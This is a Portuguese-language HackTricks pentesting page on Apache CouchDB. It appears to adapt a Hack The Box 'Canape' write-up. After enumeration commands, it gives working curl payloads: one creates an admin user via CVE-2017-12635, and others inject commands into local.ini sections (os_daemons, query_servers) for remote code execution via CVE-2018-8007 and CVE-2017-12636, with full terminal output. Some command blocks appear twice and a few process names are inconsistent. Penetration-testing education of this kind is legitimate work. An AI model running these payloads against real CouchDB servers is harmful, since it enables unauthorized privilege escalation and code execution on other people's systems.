hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

315 lines
21 KiB
Markdown

# 5984,6984 - Pentesting CouchDB
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Informações Básicas**
CouchDB é um banco de dados orientado a documentos e dentro de cada documento os campos são armazenados como mapas de chave-valor. Os campos podem ser um par chave/valor simples, lista ou mapa.
Cada documento armazenado no banco de dados recebe um identificador único em nível de documento (`_id`) bem como um número de revisão (`_rev`) para cada alteração que é feita e salva no banco de dados.
**Porta padrão:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Enumeração Automática**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Enumeração Manual
### Banner
```
curl http://IP:5984/
```
Esta ação emite uma solicitação GET para a instância instalada do CouchDB. A resposta deve se parecer com uma das seguintes:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Observe que se ao acessar a raiz do couchdb você receber um `401 Unauthorized` com algo como: `{"error":"unauthorized","reason":"Authentication required."}` **você não será capaz de acessar** o banner ou qualquer outro endpoint.
{% endhint %}
### Enumeração de Informações
Estes são os endpoints onde você pode acessar com uma requisição **GET** e extrair algumas informações interessantes. Você pode encontrar [**mais endpoints e descrições mais detalhadas na documentação do couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Lista de tarefas em execução, incluindo o tipo de tarefa, nome, status e ID do processo.
* **`/_all_dbs`** Retorna uma lista de todos os bancos de dados na instância do CouchDB.
* **`/_cluster_setup`** Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster.
* **`/_db_updates`** Retorna uma lista de todos os eventos de banco de dados na instância do CouchDB. A existência do banco de dados `_global_changes` é necessária para usar este endpoint.
* **`/_membership`** Exibe os nós que fazem parte do cluster como `cluster_nodes`. O campo `all_nodes` mostra todos os nós que este nó conhece, incluindo os que fazem parte do cluster.
* **`/_scheduler/jobs`** Lista de trabalhos de replicação. Cada descrição de trabalho incluirá informações de origem e destino, ID de replicação, um histórico de eventos recentes e algumas outras coisas.
* **`/_scheduler/docs`** Lista de estados de documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estados `completed` e `failed`. Para cada documento, ele retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino e outras informações.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** O endpoint `/_node/{node-name}` pode ser usado para confirmar o nome do nó Erlang do servidor que processa a solicitação. Isso é mais útil ao acessar `/_node/_local` para recuperar essa informação.
* **`/_node/{node-name}/_stats`** O recurso `_stats` retorna um objeto JSON contendo as estatísticas para o servidor em execução. A string literal `_local` serve como um alias para o nome do nó local, então para todas as URLs de estatísticas, `{node-name}` pode ser substituído por `_local`, para interagir com as estatísticas do nó local.
* **`/_node/{node-name}/_system`** O recurso \_system retorna um objeto JSON contendo várias estatísticas de nível de sistema para o servidor em execução\_.\_ Você pode usar \_\_`_local` como {node-name} para obter informações do nó atual.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Confirma que o servidor está ativo, em funcionamento e pronto para responder a solicitações. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) for `true` ou `nolb`, o endpoint retornará uma resposta 404.
* **`/_uuids`** Solicita um ou mais Identificadores Únicos Universais (UUIDs) da instância do CouchDB.
* **`/_reshard`** Retorna uma contagem de trabalhos completados, falhados, em execução, parados e o total, junto com o estado do resharding no cluster.
Mais informações interessantes podem ser extraídas conforme explicado aqui: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Lista de Bancos de Dados**
```
curl -X GET http://IP:5984/_all_dbs
```
Se essa solicitação **responder com um 401 não autorizado**, então você precisa de **credenciais válidas** para acessar o banco de dados:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Para encontrar Credenciais válidas, você pode **tentar** [**forçar bruta do serviço**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Este é um **exemplo** de uma **resposta** couchdb quando você tem **privilégios suficientes** para listar bancos de dados (É apenas uma lista de dbs):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Informações do Banco de Dados
Você pode obter algumas informações do banco de dados (como número de arquivos e tamanhos) acessando o nome do banco de dados:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Lista de Documentos**
Listar cada entrada dentro de um banco de dados
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Ler Documento**
Leia o conteúdo de um documento dentro de um banco de dados:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Escalação de Privilégios no CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Graças às diferenças entre os analisadores de JSON do Erlang e do JavaScript, você poderia **criar um usuário administrador** com as credenciais `hacktricks:hacktricks` com a seguinte solicitação:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Mais informações sobre essa vulnerabilidade aqui**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### Erlang Cookie
Nos documentos do CouchDB, na [seção de configuração de cluster](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup), fala sobre as diferentes portas usadas pelo CouchDB:
> CouchDB em modo cluster usa a porta `5984` assim como em standalone, mas também usa `5986` para APIs locais de nó.
>
> Erlang usa a porta TCP `4369` (EPMD) para encontrar outros nós, então todos os servidores devem ser capazes de se comunicar entre si nesta porta. Em um Cluster Erlang, todos os nós estão conectados a todos os outros nós. Uma malha.
E então há um aviso interessante:
![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png)
Se olharmos na lista de processos, podemos ver o cookie, “monster”:
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
**Você pode**[ **ler esta seção para aprender como abusar dos cookies do Erlang para obter RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.**\
Além disso, você pode ler alguns **relatórios de máquinas Canape HTB** [**como este**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) para ver e **praticar** como **explorar essa vulnerabilidade**.
### **CVE-2018-8007 bem-sucedido com permissões de escrita no local.ini**
Ao escrever este post, descobri que um novo CVE havia sido divulgado para o CouchDB pela mdsec, [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). Ele também requer permissões de escrita no arquivo `local.ini`, então não é uma opção útil para o Canape. Mas, como já tornei o arquivo editável como root, vamos ver se conseguimos fazê-lo funcionar.
Comece com um `local.ini` limpo e agora editável (e um backup):
```
root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Podemos usar o curl para modificar as origens no arquivo `local.ini`. A vulnerabilidade aqui é que, se usarmos o curl para colocar uma nova origem e em seguida novas linhas, podemos escrever informações adicionais, incluindo um novo cabeçalho e detalhes. Então, vamos tirar vantagem do campo `[os_daemons]` e adicionar um processo para o CouchDB tentar manter em execução:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
No shell root, podemos ver o que muda:
```
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
E ainda assim, o arquivo não está lá:
```
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
```
Se olharmos para os processos em execução com "couchdb" na linha de comando, veremos não apenas a linha de comando que nos fornece o valor do cookie que usamos anteriormente, mas também `runsrv couchdb`:
```
root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
```
Se matarmos esse processo, ele volta imediatamente (observe o novo pid):
```
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
```
E, ao reiniciar, executa os OS\_Daemons:
```
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
### **Tentativa bem-sucedida via CVE-2017-12636 com permissões de escrita local.ini**
CVE-2017-12636 permite a execução de código através do processo couchdb. No entanto, não funcionará nesta configuração.
Existem alguns POCs disponíveis como referência:
* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/)
Precisaríamos escrever um novo query\_server e, em seguida, invocá-lo. Quando Canape foi lançado, a maioria dos POCs era para couchdb 1.x, mas esta caixa está executando a versão 2, então o caminho dos query\_servers da maioria dos POCs não existe. Isso mudou agora, mas vamos seguir os mesmos passos. Primeiro, obtenha a versão e mostre que o caminho 1.X não existe:
```bash
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
```
Atualize com o novo caminho para 2.0:
```bash
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
```
A partir daí, devemos adicionar um query\_server e então invocá-lo, mas não somos capazes.
```bash
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
```
Algumas pesquisas no Google mostram que isso é um problema de permissões. De fato, se verificarmos com nosso shell root, podemos ver que o arquivo `local.ini` não é gravável por ninguém, muito menos por www-data:
```
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
```
Portanto, isso é um beco sem saída para o Canape. Mas se quisermos tentar fazê-lo funcionar, podemos torná-lo legível com nosso acesso root ou homer e continuar por esse caminho. Faremos um backup do original para podermos ver as mudanças:
```
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
```
Agora, voltando ao nosso shell www-data:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
```
```
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
```
Recebemos de volta o valor anterior para o servidor de consulta cmd, o que significa sucesso. E no shell root, podemos ver que funcionou:
```
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
```
Agora, devemos ser capazes de criar um db e, em seguida, um documento nesse db, e então solicitá-lo com uma view que mapeia nosso query_server para obter execução.
Criar db e documento:
```bash
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
```
```
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
```
Solicite-o em uma view:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
```
#### [Resumo](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) com um payload diferente
## Shodan
* `port:5984 couchdb`
## Referências
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
<details>
<summary><strong>Aprenda a hackear AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>